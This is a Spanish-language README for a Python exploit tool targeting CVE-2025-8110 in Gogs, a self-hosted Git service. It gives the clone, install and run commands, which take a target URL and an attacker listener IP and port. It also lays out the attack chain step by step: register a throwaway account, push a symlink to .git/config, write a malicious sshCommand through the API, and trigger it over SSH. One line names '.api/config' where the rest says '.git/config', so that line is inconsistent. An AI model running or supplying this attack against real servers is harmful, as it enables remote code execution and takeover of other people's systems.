GOGS RCE cve-2025-8110 script de Python que automatiza toda la cadena de ataque de crear un repositorio con un archivo symlink que apunta a .git/config y luego desencadenar rce a través de un sshCommand envenenado en el archivo de configuración.
Gogs es un servicio Git ligero y autoalojado similar a una versión privada de GitHub, diseñado para ejecutarse fácilmente en servidores de bajos recursos. La vulnerabilidad CVE-2025-8110 es un fallo de seguridad crítico que permite a un atacante eludir las restricciones de ruta mediante el uso de enlaces simbólicos. Al subir un enlace malicioso que apunte a .api/config, un atacante puede usar la API de Gogs para incrustar un archivo de configuración malicioso con el parámetro sshCommand y lograr RCE en el servidor host.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Mostrar ayuda
python3 ./cve-2025-8110.py --help
# Ejecutar la cadena de ataque con paso de registro
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Ejecutar la cadena de ataque omitiendo el registro | Útil cuando la función de registro devuelve un error
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
Este script sigue una cadena de ataque que involucra estos pasos:
1. Registrar y autenticar una cuenta desechable (el registro se omite si se proporcionan credenciales con las banderas -U y -P)
2. Obtener un token API bearer
3. Crear un repositorio autoinicializado
4. Clonar el repositorio localmente y enviar un enlace simbólico relativo malicious_link -> .git/config
5. Hacer PUT de la configuración maliciosa de git (con sshCommand) a través del enlace simbólico mediante la API PutContents
6. Desencadenar el sshCommand clonando el repositorio a través de SSH
Este script fue realizado utilizando el PoC de zAbuQasem (https://github.com/zAbuQasem)